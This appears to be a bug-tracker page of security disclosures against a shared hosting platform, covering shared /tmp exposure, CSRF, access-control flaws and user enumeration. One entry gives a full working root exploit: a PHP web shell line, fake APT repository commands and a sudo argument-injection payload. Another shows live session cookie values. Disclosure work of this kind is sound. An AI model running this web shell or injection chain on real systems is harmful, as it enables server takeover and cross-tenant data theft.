|
389 | Cross-Tenant Session Token Theft via Shared /tmp — Acco ... | Closed | 13.07.2026 |
Task Description
## Summary
The shared `/tmp` directory on server `http21` contains world-readable session files from other tenants. I successfully read another tenant's session file containing their full JWT authentication token, email address, and WebSocket subscription channel. This enables direct account takeover of any tenant that stores session data in `/tmp`.
Proven end-to-end: 1. Listed `/tmp` contents → found `<REDACTED>` owned by another tenant (`<REDACTED>`) 2. Read the file → extracted a valid JWT token for email `<REDACTED>` 3. The token contains: user ID, email, roles, and a Mercure WebSocket subscription path
## Severity
Critical (CVSS 9.1 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Server http21 (Debian 12, shared hosting) Victim file `<REDACTED>` Victim owner User `<REDACTED>` (different tenant) File permissions `-rw-r–r–` (world-readable) ## Steps to Reproduce
### Step 1 — List session files in shared /tmp
Execute `ls -la /tmp/ | grep sess` on the server (via scheduled job, SSH, or piped log command):
``` -rw-r–r– 1 <REDACTED> <REDACTED> 426 Jul 7 17:45 <REDACTED> ```
The file is owned by another tenant but has `644` permissions (world-readable).
### Step 2 — Read the session file
```bash cat /tmp/<REDACTED> ```
Contents (verbatim):
```json <REDACTED> ```
### Step 3 — Decode the stolen JWT
``` <REDACTED> ```
This gives the attacker: - The victim's email address - Their user ID - A valid authentication token (HS512-signed JWT) - Their real-time WebSocket subscription channel
### Step 4 — Use the stolen token (impact demonstration)
The stolen JWT can be used as a Bearer token to authenticate API requests as the victim user, or to subscribe to their WebSocket channel for real-time data interception.
Note: I did NOT use the stolen token. The PoC stops at reading the file content to prove the vulnerability exists.
## Root Cause
Two issues combine to create this vulnerability:
1. Shared `/tmp` directory: All tenants on server `http21` share the same `/tmp` filesystem. There is no per-tenant isolation (no `PrivateTmp=yes`, no mount namespaces, no separate tmp directories).
2. World-readable file permissions: The victim application writes its session file with `644` permissions (`-rw-r–r–`), making it readable by any user on the system. While this is partly the victim app's fault, the hosting platform should enforce tenant isolation regardless of individual applications' file permission choices.
## Relationship to Report 03 (Cross-Tenant /tmp Exposure)
Report 03 documented that `/tmp` is shared and that other tenants' files are visible. This report demonstrates the critical impact of that same issue: not just filenames, but actual authentication credentials are exposed.
Aspect Report 03 This Report ——– ———– ————- Root cause Shared /tmp Same Evidence Filenames only Full file contents with tokens Impact Information disclosure Account takeover Severity Medium-High Critical ## Impact
1. Session hijacking: Steal any tenant's session tokens stored in `/tmp` 2. Account takeover: Use stolen JWT tokens to authenticate as the victim 3. Real-time surveillance: Subscribe to victim's Mercure/WebSocket channels 4. Email access: The token reveals the victim's email address for further attacks 5. Mass exploitation: Any tenant on the same server can read all world-readable session files from all other tenants
## Attack Automation
```bash <REDACTED> ```
## Suggested Fix
1. Per-tenant /tmp isolation (primary fix):
Use `PrivateTmp=yes` in systemd service units Or mount separate tmpfs per tenant Or use Linux mount namespaces to give each tenant their own /tmp view 2. Restrict /tmp permissions (defense in depth):
Set the sticky bit on /tmp (should already be set, but verify) Enable `fs.protected_regular` sysctl to prevent following of others' files Use ACLs to restrict cross-tenant file access 3. Application-level guidance:
Advise users to set session file permissions to `600` Provide per-tenant session directories (e.g., `/home/username/tmp/`)
Thanks
|
|
388 | Privilege Escalation — Free-Tier User Sets Reseller-Lev ... | Closed | 13.07.2026 |
Task Description
## Summary
The admin panel's "Add permission" form (`/permissions/add/`) exposes and processes two reseller-only checkboxes for ALL users, including free-tier accounts:
- `customer_full_accounts` — "Full technical access on all accounts" - `customer_full_servers` — "Full technical access on all servers"
I created a permission entry with both flags enabled from a free-tier (non-reseller) account. The server accepted the request with `302 Found` ("Successfully created"), and the edit page confirmed both flags were checked and stored.
Relationship to FS#349 : FS#349 reported "Reseller-Level Permission Flags Accessible to Regular Customers" and was closed. This demonstrates the fix is incomplete — the form still renders these checkboxes and the backend still processes them for non-reseller users.
## Severity
Medium-High (CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Account type Free tier, individual — NOT a reseller Permission ID (test) 473473 (created then deleted during testing) ## Steps to Reproduce
### Step 1 — Navigate to "Add permission" page
URL: `https://admin.alwaysdata.com/permissions/add/`
The form displays reseller-only checkboxes to a free-tier user:
```html <h3>Global permissions</h3>
<input type="checkbox" name="customer_full_accounts" id="id_customer_full_accounts"> All permissions (accounts) — Full technical access on all accounts.
<input type="checkbox" name="customer_full_servers" id="id_customer_full_servers"> All permissions (servers) — Full technical access on all servers. ```
These checkboxes should not be visible or processable for a non-reseller account.
### Step 2 — Submit form with reseller flags enabled
```http POST /permissions/add/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: django_language=en; csrftoken=q7EcXaqpfiTzZoszNjRvPxqcdOsPdp7v; sessionid=dsnux6mbw22dyhuq1g30pr0jii9tm6n0 Referer: https://admin.alwaysdata.com/permissions/add/ Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=tuowwYz11Mh9tc0a8sCKPLsv6SYA1hBuJrSyjYPg6U0yiqizLBj5u8Ix9wgf4wyP &email=test-escalation-bypass@protonmail.com &customer_full_accounts=on &customer_full_servers=on &customer_account=on &account=486630 &486630_account_contact_technical=on &486630_account_usage=on &486630_account_resources=on ```
Response:
```http HTTP/1.1 302 Found Location: /permissions/ Set-Cookie: messages=[…"Successfully created."] ```
### Step 3 — Verify flags stored on edit page
```http GET /permissions/473473/ HTTP/1.1 Host: admin.alwaysdata.com ```
Response (HTML excerpt):
```html <input type="email" name="email" value="test-escalation-bypass@protonmail.com" readonly>
<input type="checkbox" name="customer_full_accounts" … checked> All permissions (accounts) — Full technical access on all accounts.
<input type="checkbox" name="customer_full_servers" … checked> All permissions (servers) — Full technical access on all servers. ```
Both `customer_full_accounts` and `customer_full_servers` are checked. The server stored the reseller-level flags from a free-tier account.
### Step 4 — Immediate cleanup
```http POST /permissions/473473/delete/ HTTP/1.1 Host: admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=We6XDLcsmKmQYQFIcTUdy82sevfPZhwucbAZqLsHrS5fN4X7P2Bydviuh9xu2wtP ```
Response: `302 Found` — successfully deleted.
## FS#349 Bypass Evidence
FS#349 was closed. The fix is incomplete at two layers:
1. Frontend: The reseller checkboxes are still rendered for non-reseller users 2. Backend (critical): The form processes and stores `customer_full_accounts=on` and `customer_full_servers=on` even when the submitting user is not a reseller — no server-side authorization check
Even if the checkboxes were hidden from the UI, an attacker could manually add these form fields to the POST request body.
## Impact
A free-tier user can create permission entries with reseller-level flags:
- `customer_full_accounts`: For a reseller with multiple hosting accounts, this grants the invited email complete technical control over every account. For a single-account user, the blast radius is limited but the authorization bypass is real. - `customer_full_servers`: For a reseller with dedicated servers, this grants full server-level access.
The attack chain for real-world exploitation: 1. Attacker creates a permission entry on their own free account with both flags enabled 2. If the attacker later upgrades to reseller or gains access to a reseller account, these flags are already in place 3. Alternatively, social engineering: if an attacker tricks a reseller into adding a permission via a pre-crafted URL or form, the flags could grant full access
## Suggested Fix
1. Server-side enforcement (critical): Check `request.user.is_reseller` before including `customer_full_accounts` and `customer_full_servers` in the accepted form fields. Strip these from POST data if the user is not a reseller. 2. Frontend cleanup: Conditionally render these checkboxes only for reseller accounts.
Thanks
|
|
375 | Cross-Site Request Forgery (CSRF) Allows Restart of An ... | Closed | 13.07.2026 |
Task Description
## Description
A Cross-Site Request Forgery (CSRF) vulnerability exists in the service management functionality. The application does not properly validate whether a service restart request originates from a legitimate user action.
By crafting a malicious CSRF proof-of-concept (PoC) and replacing the service identifier with a victim's service ID, an attacker can cause the victim's browser to send an authenticated request that restarts the victim's service without their knowledge or consent.
This vulnerability allows unauthorized state-changing actions to be performed on behalf of authenticated users.
—
## CVSS v3.1
Base Score: 4.5 (MEDIUM)
—
# Steps to Reproduce
1. Log in with an attacker account. 2. Navigate to the Services section. 3. Create a new service. 4. Open another browser (or private window) and log in as a victim. 5. Create a service in the victim account. 6. Return to the attacker account. 7. Trigger the Restart Service functionality. 8. Capture the restart request using Burp Suite. 9. Use Burp Suite's Engagement Tools to generate a CSRF PoC. 10. Save the generated HTML file. 11. Replace the attacker's `service_id` with the victim's `service_id`. 12. Modify the request method from POST to GET. 13. Open the modified PoC in the victim's authenticated browser. 14. Click Submit. 15. Observe that the victim's service is restarted successfully without the victim intentionally initiating the request. 16. Verify the restart by checking the service logs.
—
# Actual Behaviour
The application processes the forged request using the victim's authenticated session, allowing the victim's service to be restarted without verifying the request's origin or intent.
—
# Expected Behaviour
The application should reject forged cross-origin requests. Every state-changing action should require valid CSRF protection and proper server-side validation so that only requests intentionally initiated by the authenticated user are accepted.
—
# Impact
* Unauthorized restart of another user's services. * Service interruption without user consent. * Attackers can repeatedly restart services, affecting availability. * Users can be forced into unexpected downtime simply by visiting a malicious webpage while authenticated.
—
# Business Impact
* Reduced service availability and reliability. * Potential disruption of customer-hosted applications. * Loss of customer trust due to unauthorized actions. * Increased support requests resulting from unexplained service restarts. * Possible abuse for denial-of-service against targeted users by repeatedly triggering service restarts.
—
# Remediation
* Implement robust anti-CSRF tokens for all state-changing requests. * Validate the CSRF token on the server before processing the request. * Ensure state-changing operations are not performed through GET requests. * Validate the `Origin` and `Referer` headers where appropriate. * Use the `SameSite` attribute (`Lax` or `Strict`) on session cookies to reduce CSRF risk. * Require explicit user confirmation or re-authentication for sensitive administrative actions when appropriate.
—
# Proof of Concept (PoC)
Google Drive Link: https://drive.google.com/file/d/1EQgdh2HhlPqN1VJXeTHQLhMkmkciEwqJ/view?usp=sharing
—
# Conclusion
The application is vulnerable to Cross-Site Request Forgery (CSRF), allowing attackers to trigger unauthorized service restarts on behalf of authenticated users. Because restarting services directly impacts availability and can disrupt customer workloads, this issue represents a significant security risk. Implementing proper CSRF protections and server-side request validation will effectively mitigate the vulnerability and prevent unauthorized state-changing actions.
Thanks
|
|
371 | attacker test | Closed | 12.07.2026 |
Task Description
attacker testd
|
|
368 | test | Closed | 11.07.2026 |
Task Description
test
|
|
367 | Root Privilege Escalation via Sudo Option Injection | Closed | 10.07.2026 |
Task Description
Root Privilege Escalation via Sudo Option Injection
Summary
Any shared hosting user can gain root access on the server by exploiting an unquoted variable in /alwaysdata/sbin/install_language_package. This script runs via sudo without a password. The attacker injects APT options through the language name parameter, causing apt-get to execute an arbitrary script as root before package installation.
The Flaw
Line 50 of /alwaysdata/sbin/install_language_package: apt-get –yes install $PACKAGE $PACKAGE is unquoted — bash splits it on spaces, and injected -o Dpkg::Pre-Invoke::=/tmp/evil.sh becomes an APT option that runs a script as root.
Impact
- Root on a shared server with 8,957 accounts - Read/modify all other users' files, databases, emails - Read server secrets (SSL keys, passwords, configs) - Install persistent backdoors
Steps to Reproduce
1. Upload a PHP web shell to your ~/www/ (needed because SSH blocks sudo via NoNewPrivs): <?php echo shell_exec($_GET['c']); ?>
2. Create a fake APT repo with a package whose Maintainer contains @alwaysdata mkdir -p /tmp/fakerepo/dists/stable/main/binary-amd64 /tmp/fakerepo/pool /tmp/fakerepo/lists/partial /tmp/fakedeb/DEBIAN /tmp/fakedeb2/DEBIAN
echo -e "Package: java\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <don: x" > /tmp/fakedeb/DEBIAN/control dpkg-deb –build /tmp/fakedeb /tmp/fakerepo/pool/java_99.0_amd64.deb
echo -e "Package: 21\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <dev: x" > /tmp/fakedeb2/DEBIAN/control dpkg-deb –build /tmp/fakedeb2 /tmp/fakerepo/pool/21_99.0_amd64.deb
cd /tmp/fakerepo && dpkg-scanpackages pool /dev/null > dists/stable/main/binar cp dists/stable/main/binary-amd64/Packages lists/_tmp_fakerepo_dists_stable_main_binary-amd64_Packages echo 'deb [trusted=yes] file:///tmp/fakerepo stable main' > sources.list
3. Create payload (filename must end with -21.0.8 — the resolved version gets appended): echo '#!/bin/sh id > /tmp/proof.txt' > /tmp/rk.sh-21.0.8 chmod +x /tmp/rk.sh-21.0.8
4. Run the exploit: sudo /alwaysdata/sbin/install_language_package "java 21 -o Dir::Etc::sourcelist=/tmp/fakerepo/sources.list -o Dir::Etc::sourceparts=- -o Dir::State::Lists=/tmp/fakerepo/lists -o Dpkg::Pre-Invoke::=/tmp/rk.sh" "21"
5. Verify: cat /tmp/proof.txt Output: uid=0(root) gid=0(root) groups=0(root)
Remediation
1. Quote $PACKAGE on line 50 — change apt-get –yes install $PACKAGE to apt-get –yes install "$PACKAGE" (also quote $LANGUAGE and $PACKAGE on lines 16, 33, 39) 2. Validate input — reject $LANGUAGE and $VERSION values containing anything outside [a-zA-Z0-9._]
|
|
366 | Broken Access Control – Revoked User Can Access Histori ... | Closed | 09.07.2026 |
Task Description
Description After a user's mailbox permissions are revoked, the application correctly removes access to the mailbox through the user interface. However, the server still allows the user to directly access previously generated mailbox audit logs by requesting the log endpoint with the corresponding log ID.
This indicates that the application does not enforce authorization checks on the audit log resource based on the user's current permissions. As a result, a user whose mailbox access has been revoked can continue to access historical audit logs related to that mailbox.
CVSS v3.1 → Score: 4.3 (Medium)
Note: If the audit logs expose sensitive mailbox configuration or confidential information, the severity may be higher.
Steps to Reproduce 1- Login with User A. 2- Invite User B as an Administrator with mailbox management permissions. 3- Login as User B. 4- Navigate to the mailbox settings and make any configuration change. 5- Verify that an audit log entry is created for the action. 6- Login as User A and revoke User B's mailbox permissions. 7- Confirm that the mailbox section is no longer accessible through the UI for User B. 8- Login again as User B. 9- Intercept the request used to retrieve an audit log (or directly access the audit log endpoint). 10- Replace the current log ID with the previously generated mailbox audit log ID. 11- Send the request.
Actual Behaviour → Even after mailbox permissions have been revoked, the server returns the historical mailbox audit log when the user directly requests it using the known log ID.
Expected Behaviour → Once mailbox permissions are revoked, the server should validate the user's current authorization before returning any mailbox-related audit logs. Unauthorized users should receive 403 Forbidden (or an equivalent authorization error).
Impact → Users can continue accessing mailbox-related audit logs after losing mailbox permissions. → Authorization is enforced only in the UI, not on the backend resource. → Historical mailbox activity remains accessible despite permission revocation.
Business Impact → Violates the principle of least privilege. → Former administrators or users with revoked access may continue viewing historical mailbox activity. → May expose operational or sensitive mailbox information depending on the audit log contents. → Indicates inconsistent server-side authorization checks, increasing the risk of similar access control issues elsewhere in the application.
Remediation → Perform server-side authorization checks for every audit log request. → Validate the user's current permissions before returning mailbox-related logs. → Return 403 Forbidden when the user is no longer authorized. → Ensure audit log access follows the same permission model as the underlying mailbox resource.
Proof of Concept (PoC) Google Drive Link: https://drive.google.com/drive/folders/1c3fthnH3Vfq60bd4RacM3_aHF8zgmw88?usp=drive_link
Conclusion The application fails to properly enforce server-side authorization on mailbox audit log resources. Although mailbox access is removed from the user interface after permission revocation, previously generated audit logs remain accessible through direct requests using known log IDs. This represents a Broken Access Control issue because authorization is not consistently enforced on the backend.
Thanks
|
|
365 | Cross-Site Request Forgery (CSRF) in Notification "Seen ... | Closed | 03.07.2026 |
Task Description
Description
The application is vulnerable to Cross-Site Request Forgery (CSRF) on the notification "Seen" endpoint. An attacker can craft a malicious HTML page that silently triggers the notification "seen" request from a victim's browser while the victim is authenticated.
Because the endpoint accepts the request without validating a CSRF token or verifying the request origin, the victim's notification status is changed without their knowledge or consent.
Although this does not expose sensitive information, it allows unauthorized modification of user data, violating the integrity of the victim's account.
CVSS v3.1 → Score: 4.3 (Medium)
Steps to Reproduce
Login to Attacker Account (Account A) using Firefox.
Navigate to Notifications.
Ensure at least one notification is available.
Enable Burp Suite Intercept.
Click Seen on a notification.
Capture the request.
Send the request to Burp Engagement Tools.
Generate a CSRF PoC.
Modify the generated PoC by changing:
method="POST" to method="GET"
-
Login to Victim Account (Account B) using another browser (Chrome).
Ensure the victim has at least one unread notification.
Open the generated CSRF PoC in the victim's browser.
Click Submit Request.
Observe that the victim's notification is automatically marked as Seen without the victim performing the action.
Actual Behaviour
The notification is marked as Seen in the victim's account simply by visiting and submitting the attacker-controlled HTML page.
No CSRF protection, Origin validation, or SameSite-based mitigation prevents the request.
Expected Behaviour
The server should reject any state-changing request that does not contain a valid CSRF token and should verify the request originates from a trusted source.
Only the authenticated user performing the action from the legitimate application should be able to mark notifications as Seen.
Impact
Unauthorized modification of notification status.
Attackers can manipulate notification state without user consent.
Users may miss important notifications because they appear as already read.
Demonstrates missing CSRF protection on a state-changing endpoint.
Indicates other sensitive endpoints may also be vulnerable to CSRF.
Business Impact
Loss of integrity of user account data.
Important alerts, security notifications, or business messages may be marked as read without the user's knowledge.
Reduced user trust due to unauthorized account actions.
Reveals a security control weakness that could affect higher-risk endpoints if the same protection is missing elsewhere.
Remediation
Implement anti-CSRF tokens for all state-changing requests.
Validate the Origin and Referer headers.
Use SameSite=Lax or preferably SameSite=Strict for session cookies where appropriate.
Ensure endpoints that modify data only accept the intended HTTP method (e.g., POST) and cannot be invoked via GET.
Follow the Synchronizer Token Pattern or another robust CSRF defense mechanism across the application.
Video Proof of Concept:
Google Drive link → https://drive.google.com/drive/folders/1v9Y7TFbgv-FFztKX23aL_ZNkDu3GCqWT?usp=drive_link
Conclusion
The notification "Seen" endpoint lacks proper CSRF protection, allowing an attacker to force authenticated users to unknowingly mark their notifications as read. While the immediate impact is limited to unauthorized state modification, it represents a clear integrity issue and indicates that CSRF protections may be absent from other state-changing endpoints. Implementing standard CSRF defenses will prevent unauthorized cross-site requests and strengthen the application's overall security posture.
Thanks
|
|
364 | Bug bounty — cross-tenant /tmp disclosure (FS#363) umas ... | Closed | 02.07.2026 |
Task Description
Hi,
This is a follow-up to my security report ( FS #363 ) (cross-tenant file disclosure via the shared /tmp on SSH/web hosts: files created with the default umask landed world-readable (0644) and were readable by other tenants on the same host).
You made a change to the non-interactive umask and asked me to confirm it. I've re-tested on ssh1 and can confirm it's fixed:
- umask now returns 0007 in the non-interactive case (ssh <host> umask, bash -c, sh -c), not just interactive shells. Previously all of these returned 0022. - A /tmp file created with the default umask is now 0660 (rw-rw—-) instead of 0644. - My original cross-tenant test no longer works: a second account of mine, in a different group, trying to read that file now gets "Permission denied".
Since the issue was valid, reproducible, and cross-tenant before the fix, I'd like to request a small bounty for the report, at your discretion.
Thank you, Sayada Zannat haque
|
|
363 | Cross-tenant file disclosure via world-readable shared ... | Closed | 02.07.2026 |
Task Description
Vulnerability Name: Cross-tenant file disclosure via world-readable shared `/tmp` on alwaysdata SSH/web hosts
Severity: High CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N` CVSS 4.0 score: ~8.2 (High) Target: `ssh-<account>.alwaysdata.net` (physical SSH host `ssh1`) and the web-application hosts (`http21`) — kernel `6.18.30-alwaysdata` Type: CWE-668 (Exposure of Resource to Wrong Sphere) / CWE-732 (Incorrect Permission Assignment) / CWE-200
Description
On alwaysdata's shared hosting infrastructure every customer account on a given physical host shares a single, non-polyinstantiated `/tmp` directory (mode `drwxrwxrwt` / `1777`), while the platform default umask is `022` — so any file a customer writes into `/tmp` is created world-readable (`644`).
Account isolation on these hosts is enforced only by cgroups + per-account Unix UIDs, and SSH is explicitly not chrooted (per alwaysdata's own documentation). As a result, any customer — on any plan, including the free plan — can read any other customer's world-readable files in `/tmp` on the same physical host. This is a cross-tenant confidentiality boundary violation: it lets a low-privileged tenant passively harvest other tenants' source code, configuration, and temporary artifacts.
The condition is confirmed on both the SSH tier (`ssh1`) and the web-application tier (`http21`), indicating it is fleet-wide. (Note: PHP `session.save_path` is per-account, so live sessions are not exposed — which bounds this at High rather than Critical.)
Exposed Endpoints / Affected Components
| Host / component | Path | Mode | Issue |
| — | — | — | — |
| SSH host `ssh1` | `/tmp` | `1777` (shared, not polyinstantiated) | other tenants' world-readable files readable |
| Web host `http21` | `/tmp` | `1777` (shared) | same exposure on the web tier |
| Platform default | umask | `022` | new `/tmp` files created world-readable (`644`) |
Steps to Reproduce
Requires two accounts you control (`A` and `B`, different customers) that land on the same physical host. In this report `A` = `steve-william` (uid 530469), `B` = `test-domain` (uid 530478), both on `ssh1`.
1. Create two free alwaysdata accounts with different emails; enable SSH on each (Remote access → SSH). 2. SSH into account A: `ssh A@ssh-A.alwaysdata.net`. 3. As A, write a file into the shared `/tmp` (created world-readable due to default umask 022):
`echo "SECRET_OF_A" > /tmp/canary_A.txt`
4. In a second terminal, SSH into account B (a *different* customer): `ssh B@ssh-B.alwaysdata.net`. 5. As B, confirm you are a different UID on the same host: `id; hostname`. 6. As B, read account A's file: `cat /tmp/canary_A.txt` → A's content is returned. 7. Enumerate the real cross-tenant exposure (metadata only): `find /tmp -maxdepth 1 -type f ! -user "$(id -un)" -readable`.
Observed live: as account B, 65 files across 12 other live customer accounts were readable, including source archives (`*.tgz`), a config script (`inject_config.py`), an Omeka DB env file (`omeka_db_env_*`), financial PDFs, and cryptocurrency wallet backups. (No third-party file *content* was read — only names/owners/permissions were enumerated, per program rules.)
Proof of Concept (PoC)
Bash PoC Script, Python PoC Script, and other attachments are attached.
Impact
- Cross-tenant confidentiality breach affecting all customers sharing the same physical host. - On the affected host (`ssh1`), approximately 882 customer home directories are co-located, allowing tenants to access world-readable temporary files belonging to other customers. - Sensitive information that may be exposed includes source code, configuration files, temporary application data, and other confidential files. - If a world-readable `.env` or configuration file contains database credentials, an attacker could use those credentials to access the victim's remotely reachable database (e.g., `mysql-<account>.alwaysdata.net:3306` or `postgresql-<account>.alwaysdata.net:5432`). - This could lead to unauthorized access to another customer's database and the data stored within it. - No other customers' files, credentials, or databases were accessed during testing. The impact assessment is based solely on the demonstrated file exposure and the resulting attack path.
- Polyinstantiate `/tmp` (and `/var/tmp`) per account — e.g. `pam_namespace` with per-account instances, or a per-account-namespace private `tmpfs` — so each tenant sees an isolated `/tmp`. - And/or set the platform default umask to `077`. - Optionally enable `fs.protected_regular=2` and per-account `/tmp` reaping.
|
|
362 | Email Verification Bypass via Google OAuth Account Link ... | Closed | 02.07.2026 |
Task Description
Dear Security Team, I hope you are doing well. I would like to responsibly disclose a potential authentication and account-linking issue identified during testing of the Google OAuth login functionality. Vulnerability Summary Category: Authentication / Improper Account Verification Severity: High Description During testing, I observed that an account created using the traditional email and password registration process could be linked with a Google OAuth identity before the email address had been verified. Although the application continued to enforce email verification for password-based authentication, the Google OAuth account was successfully associated with the unverified profile. This behavior suggests that OAuth account linking occurs without first confirming that the email ownership verification process has been completed. Additionally, after the OAuth linking process, the application redirected to an OAuth callback endpoint that returned a 404 Page Not Found response, indicating an inconsistency in the authentication workflow. Steps to Reproduce
Register a new account using Email and Password. Do not verify the email address. Log out of the account. Select Sign in with Google. Authenticate using the same Google account associated with the registered email address. Observe that the application sends the following notification: A (Google) OAuth connection has been configured on your profile. Follow the OAuth authentication flow. The application redirects to: /oauth/google/callback/ Observe that the endpoint returns: 404 - Page Not Found Open a new browser session and attempt to log in using the original email and password. The application still requires email verification before allowing password-based authentication. Observed Behavior • Google OAuth successfully links to the account before email verification is completed. • Email/password authentication continues to require email verification. • OAuth callback results in a 404 response, indicating an incomplete or inconsistent authentication flow. Expected Behavior The application should verify ownership of the registered email address before permitting external identity providers (such as Google OAuth) to be linked with the account, unless this behavior is explicitly intended. If OAuth login is intended to satisfy email ownership verification, the application should consistently mark the account as verified and complete the authentication flow without errors. Security Impact Depending on the intended authentication design, this behavior may result in: • Inconsistent authentication state. • Improper account-linking logic. • Potential bypass of email verification requirements. • Confusion regarding account ownership validation. • Increased attack surface if account-linking validation is not consistently enforced. Although I did not observe direct account takeover during testing, the current behavior indicates that the account verification and OAuth linking processes may not be consistently enforced. Recommendation I recommend reviewing the OAuth account-linking workflow to ensure that: • Email ownership verification is consistently enforced before linking external identity providers, or • Successful OAuth authentication is explicitly treated as verified email ownership and the account state is updated accordingly. • OAuth callback endpoints are correctly configured to prevent unexpected 404 responses. • Account verification logic remains consistent across all supported authentication methods. Conclusion The observed behavior suggests an inconsistency between the traditional email verification process and Google OAuth account linking. Reviewing the authentication workflow and enforcing consistent account verification logic will help reduce the risk of authentication-related issues and improve the overall security posture of the platform. This report is submitted under responsible disclosure. I would be happy to provide any additional information or assist with validation if required. Kind regards, Cyber_Subhash
|
|
361 | Broken Access Control / Improper Authorization | Closed | 02.07.2026 |
Task Description
Dear Security Team, I hope you are doing well. I would like to responsibly disclose a potential access control issue identified during testing of the user role and permission management functionality. Category: Broken Access Control / Improper Authorization Severity: High Description During testing, I observed that a user assigned only the Billing Contact role is able to invite additional users to the organization. Based on the role description, the Billing Contact permission is intended to provide access to billing-related functionality. However, the ability to invite new users appears to extend beyond the expected responsibilities of a billing-only role. This behavior may violate the Principle of Least Privilege by allowing a non-administrative user to perform account management actions. Steps to Reproduce
Log in as an account administrator. Invite a new user with only the Billing Contact permission. Log in using the Billing Contact account. Navigate to the user or team management section. Observe that the Billing Contact user is able to access the Invite User functionality. Successfully initiate an invitation for another user. Expected Behavior A user assigned only the Billing Contact role should be restricted to billing-related operations and should not be able to invite or manage additional users unless explicitly intended by the role design. Actual Behavior The Billing Contact role is able to invite new users despite being intended for billing-related access. Security Impact If this behavior is not intended, it may allow: • Unauthorized user invitations. • Expansion of account access without administrator approval. • Circumvention of role separation. • Violation of the Principle of Least Privilege. • Increased risk of unauthorized account access. The overall impact depends on the permissions that can be granted to invited users. If elevated roles can be assigned, the security impact could be significantly higher. Recommendation To mitigate this issue, I recommend: • Restricting the Invite User functionality to administrative or dedicated user-management roles. • Reviewing role-based access control (RBAC) permissions to ensure Billing Contact users are limited to billing operations only. • Enforcing server-side authorization checks for all user management actions. • Verifying that non-administrative roles cannot perform account management functions unless explicitly intended. Conclusion The observed behavior suggests that the Billing Contact role may have broader privileges than expected by allowing user invitations. If this is not intended behavior, restricting user management capabilities to authorized administrative roles would improve the application’s access control model and better align with the Principle of Least Privilege. This report is submitted under responsible disclosure. I would be happy to provide additional information or assist with validation if required. Kind regards, Cyber_Subhash Security Researcher
|
|
360 | User Enumeration via Password Reset Functionality | Closed | 02.07.2026 |
Task Description
Dear Security Team,
I hope you are doing well.
I would like to responsibly disclose a security issue identified in the password reset functionality of your application. During testing, I observed that the application returns different responses for registered and non-registered email addresses, which allows an attacker to determine whether a specific email address is associated with a valid user account.
Severity:Medium
Category: Information Disclosure / User Enumeration
Description
The password reset endpoint responds differently based on whether the submitted email address exists in the system.
When a registered email address is entered, the application returns a successful password reset response. However, when an unregistered email address is submitted, the application returns a different error message indicating that the email address does not exist.
This behavior enables an attacker to enumerate valid user accounts by submitting multiple email addresses and comparing the application’s responses.
Steps to Reproduce
Navigate to the **Forgot Password page. Enter a valid, registered email address. Observe the success response indicating that a password reset email has been sent. Repeat the process using an email address that is not registered. Observe that the application returns a different response indicating that the email address does not exist. Compare both responses and note that they reveal whether an email address is registered. Proof of Concept
Registered Email
Email: registered@example.com
Response: "If an account exists, a password reset link has been sent." Unregistered Email
Email: randomuser@example.com
Response: "Email address not found." The difference in these responses allows an attacker to identify valid user accounts.
Security Impact
An attacker can exploit this behavior to:
Enumerate valid user accounts. Identify registered email addresses. Facilitate targeted phishing campaigns. Support credential stuffing or password spraying attacks. Gather intelligence for further attacks against identified users.
Although this issue does not directly expose user credentials, it increases the effectiveness of subsequent attacks by revealing valid account information.
Recommendation
To mitigate this issue:
Return the same generic response regardless of whether the email address exists. Use a consistent HTTP status code for both scenarios. Ensure response bodies, headers, and response timing are as similar as possible. A recommended response is:
“If an account exists for the provided email address, a password reset email will be sent.”
This approach prevents attackers from distinguishing between registered and unregistered email addresses.
Conclusion The password reset functionality currently discloses account existence through differing responses. Standardizing the application’s responses for both valid and invalid email addresses will effectively prevent user enumeration and improve the overall security posture of the application.
I am submitting this report under responsible disclosure and would be happy to provide any additional information or assist with validation if required.
Kind regards,
Cyber_Subhash Security Researcher
|
|
359 | DNSSEC Misconfiguration | Closed | 02.07.2026 |
Task Description
Description: The DNSSEC (Domain Name System Security Extensions) configuration for the domain alwaysdata.com contains critical misconfigurations. DNSSEC is designed to safeguard DNS data from attacks such as cache poisoning and man-in-the-middle (MITM) by ensuring authentication and data integrity through digital signatures.
However, the current implementation for alwaysdata.com is incomplete and improperly configured, rendering DNSSEC ineffective and exposing the domain to potential exploitation.
Findings: Upon detailed analysis of the domain’s DNS records, the following issues were identified:
Unsigned DS Records: The Delegation Signer (DS) records in the parent zone are not correctly signed, breaking the essential chain of trust required for DNSSEC validation. Properly signed DS records are necessary to ensure the integrity of DNS queries.
Invalid RRSIG Records: Several Resource Record Signature (RRSIG) entries in the DNS zone are invalid, indicating key management or signing process failures. These invalid signatures compromise the authenticity and integrity guarantees provided by DNSSEC.
DNSKEY Mismatch: A mismatch exists between the DNSKEY records in the domain’s DNSKEY RRset and those provided in the delegation response from the parent zone. This inconsistency weakens the DNSSEC chain of trust, making the domain susceptible to tampering.
Steps to Reproduce:
Navigate to the DNSSEC debugging tool: https://dnssec-debugger.verisignlabs.com
Enter the domain alwaysdata.com for analysis.
Observe the red-highlighted errors indicating DNSSEC misconfigurations and missing or invalid DNSSEC records.
Impact: Due to these misconfigurations, the domain ballerina.io is vulnerable to several security risks, including:
DNS Cache Poisoning: Attackers can inject forged DNS responses, redirecting users to malicious sites.
Man-in-the-Middle Attacks: Without valid DNSSEC validation, attackers can intercept and alter DNS responses.
Domain Impersonation: Weak or broken DNSSEC allows attackers to impersonate legitimate services under the domain.
Data Tampering: DNS records could be modified, leading to data leaks or loss of service integrity.
Reputation Damage: A compromised DNS configuration undermines user trust and damages the organization’s credibility.
|
|
358 | Inadequate Concurrent Sessions | Closed | 02.07.2026 |
Task Description
Description:
